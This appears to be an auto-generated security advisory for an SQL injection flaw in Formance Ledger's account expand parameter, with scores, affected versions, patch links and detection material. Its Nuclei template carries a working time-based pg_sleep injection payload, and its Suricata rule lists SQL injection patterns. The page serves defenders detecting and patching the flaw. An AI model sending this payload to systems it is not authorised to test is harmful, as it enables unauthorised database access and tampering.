CVE-2026-135164: Formance Ledger 2.2.0-beta.3 before 2.4.18 SQL Injection via Account Expand Parameter
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-30 07:36 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Formance Ledger 2.2.0-beta.3 before 2.4.18 contains an SQL injection vulnerability that allows remote API callers to execute SQL by supplying unvalidated account expand values. Attackers can inject comment-separated SQL through the expand query parameter or base64 pagination cursor to run queries with the ledger database role’s privileges.
Description quoted from the CVE record (assigned by VulnCheck, published 2026-11-23).
Weakness: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: total.
Public exploit evidence (Exploit Observer)
Exploit Observer found 5 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 7 references on Exploit Observer
Live scores
- EPSS
- 0.005
low predicted chance of attack - VEDAS
- 0.989
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Formancehq ledger | from 2.2.0-beta.3 before 2.4.18 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Fixed versions stated in the CVE record: 2.4.18.
Vendor guidance:
- https://github.com/formancehq/ledger/pull/2477 (issue-tracking, patch)
- https://github.com/formancehq/ledger/commit/83cd8dc7a66ba02a0418a36ec45663b19e26dcb3 (patch)
- ledger v2.4.18 Release Notes (release-notes)
How to detect it
Nuclei template (active check)
Formance Ledger - SQL Injection
Formance Ledger 2.2.0-beta.3 before 2.4.18 interpolates the `expand` query parameter of the account list endpoints into a SQL column alias without an allow-list. A crafted value injects a sub-select into the query. This template lists the ledgers through the v2 API, then sends a time-based `pg_sleep` payload to the v1 accounts endpoint of the first ledger and compares the response time against a baseline request. Detection needs at least one account in the ledger.
Name and description quoted from the template, written by VEDAS.
The template sends 3 requests (GET /v2/, GET /{{ledger}}/accounts, GET /{{ledger}}/accounts?expand=x,/**/(select/**/pg_sleep(6))as/**/y); it decides using dsl, regex matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-135164.yamlShow the template (48 lines)
id: CVE-2026-135164
info:
name: "Formance Ledger - SQL Injection"
author: vedas-arpsyndicate
severity: high
description: |
Formance Ledger 2.2.0-beta.3 before 2.4.18 interpolates the `expand` query parameter of the account list
endpoints into a SQL column alias without an allow-list. A crafted value injects a sub-select into the query.
This template lists the ledgers through the v2 API, then sends a time-based `pg_sleep` payload to the v1
accounts endpoint of the first ledger and compares the response time against a baseline request. Detection needs
at least one account in the ledger.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-135164&match=exact
- https://subdomain.center/?engine=ammonites&keyword=formance-ledger&match=exact
classification:
cve-id: CVE-2026-135164
cwe-id: CWE-89
metadata:
verified: false
tags: cve,cve2026,formance,ledger,sqli,time-based
http:
- method: GET
path:
- "{{BaseURL}}/v2/"
- "{{BaseURL}}/{{ledger}}/accounts"
- "{{BaseURL}}/{{ledger}}/accounts?expand=x,/**/(select/**/pg_sleep(6))as/**/y"
req-condition: true
extractors:
- type: regex
name: ledger
part: body_1
group: 1
regex:
- '"name"\s*:\s*"([A-Za-z0-9_-]+)"'
internal: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
- "contains(body_1, '\"cursor\"')"
- "status_code_2 == 200"
- "duration_3 - duration_2 >= 5"
condition: and
CVE-2026-135164.yaml on GitHub
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-135164 Formance Ledger - SQL Injection via expand parameter. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-135164 Formance Ledger - SQL Injection via expand parameter"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/accounts"; nocase; content:"expand="; nocase; fast_pattern; pcre:"/[?&]expand=[^&]*(\x2f\*|%2f\*|\x28|%28|select|pg_sleep|jsonb_build|union)/i"; classtype:web-application-attack; reference:cve,CVE-2026-135164; reference:url,https://www.exploit.observer/?keyword=CVE-2026-135164&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=formance-ledger&match=exact; sid:1111600; rev:1;)
CVE-2026-135164.rules on GitHub
References
Vendor advisories and patches
- https://github.com/formancehq/ledger/pull/2477 (issue-tracking, patch)
- https://github.com/formancehq/ledger/commit/83cd8dc7a66ba02a0418a36ec45663b19e26dcb3 (patch)
- ledger v2.4.18 Release Notes (release-notes)
Technical analysis and advisories
- https://github.com/formancehq/ledger/blob/v2.4.17/internal/storage/ledger/resource_accounts.go (technical-description)
- VulnCheck Advisory: Formance Ledger 2.2.0-beta.3 before 2.4.18 SQL Injection via Account Expand Parameter (third-party-advisory)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners